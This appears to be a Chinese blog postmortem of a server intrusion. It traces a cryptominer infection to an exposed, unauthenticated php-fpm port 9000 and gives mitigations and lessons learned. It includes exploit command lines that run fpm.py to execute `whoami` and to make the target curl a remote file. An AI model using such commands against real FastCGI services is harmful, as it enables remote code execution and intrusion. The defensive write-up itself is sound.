前言

本文围绕服务器遭遇黑客入侵的网络安全事件展开深度复盘，系统梳理从发现入侵痕迹到分析入侵原理的全过程。

复现黑客利用运维配置漏洞上传恶意脚本获取docker权限、植入挖矿程序完整攻击链，最终形成涵盖入侵时间线、攻击手法、防范措施及事件反思的全面分析记录。

起因

第一次遭遇

7月13日晚收到两封「安全事件告警」邮件，分别为「恶意脚本代码执行」和「发现可疑下载行为」，「恶意脚本代码执行」，邮件内容如下：

服务器为新购测试服务器，除了运行在宿主机的nginx和一套运行在docker里的php弱口令系统，没有其它系统。当时推测：黑客利用弱口令登录后台，修改后台上传附件后缀参数，上传webshell后获取了docker权限。

第一次处理

按照这个思路处理如下：
1、不手动清理恶意进程，防止清理不干净死灰复燃，所以删掉docker重建；
2、增强管理员密码复杂度；
3、清除webshell后门；

进行到第3步时，使用最后修改日期筛选*.php文件，发现完全找不到后门文件。后面有其他事情暂时搁置。

第二次遭遇

7月14日中午，又收到两封「安全事件告警」邮件，与前一天内容完全相同。这个时候并没有慌，因为服务器是新装的非生产环境，没有任何生产数据，有很大的弹性处理空间。

把nginx的access.log拖回本地，利用碎片时间一直翻看访问日志，除了curl外没有任何可疑请求，如下图：

第二次处理

基本确定非法请求不是来源于http请求。这时候开始怀疑docker的镜像有问题：网上搜的第三方docker源地址下载的docker镜像可能被投毒。所以做了以下操作：
1、删掉原镜像，更换docker镜像源，重新拉取启动新docker；
2、docker启动后立即对docker内所有网络通讯进行抓包；

docker ps

docker inspect -f '{{.NetworkSettings.IPAddress}}' <container_id>

sudo tcpdump -i any host <container_ip> -w output.pcap

第三次遭遇

7月15日早起看手机，发现收到一封邮件，稍微有点失望 —— 告警内容从「恶意脚本代码执行」变为了「挖矿程序」。也就表示很可能不是同一个黑客所为，入侵手法可能不一样。

把output.pcap拖回本地分析，发现一位IP来自英国的大哥，请求了destination port为9000的php-fpm进程端口，入侵执行的命令也一清二楚。所以排除了docker镜像投毒。

然后我想起之前为了查看扩展是否安装成功，还传过phpinfo，可以暴露物理路径，如下图：

根据文章「Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写」了解到了入侵手法。

已经可以确认被入侵的原因：
黑客通过开放到外网的php-fpm 9000端口，利用curl或者Exp通过未授权访问，构造FastCGI协议数据包和fpm进行通信，执行了远程命令。

确认猜测

执行命令

python3 fpm.py 127.0.0.1 /var/www/html/public/index.php -c "<?php echo \`whoami\`; exit();?>"

下载远程文件

python3 fpm.py 127.0.0.1 /var/www/html/public/index.php -c "<?php echo system('curl -o /tmp/about.html https://jinyazhou.com/about.html'); exit; ?>"

漏洞原理

• php-fpm通过自定义端口接收FastCGI请求，处理后返回结果给web服务器；
• php-fpm无身份验证。默认配置下，不验证请求来源，可以伪造符合FastCGI协议格式的数据包。

解决方案

1、最根本的解决方案：禁止开放php-fpm端口；
2、其它可行解决方案：php-fpm使用unix socket，将socket文件挂载到宿主机，nginx通过socket文件访问php-fpm。

按照上述方案修改后，已经3天没有收到告警。

事件反思

这次入侵事件，我在运维中犯了以下两个错误：
1、因服务器是测试服务器，大意且不重视，在云平台开放了所有端口；
2、phpinfo使用后未及时删除，暴露了物理路径；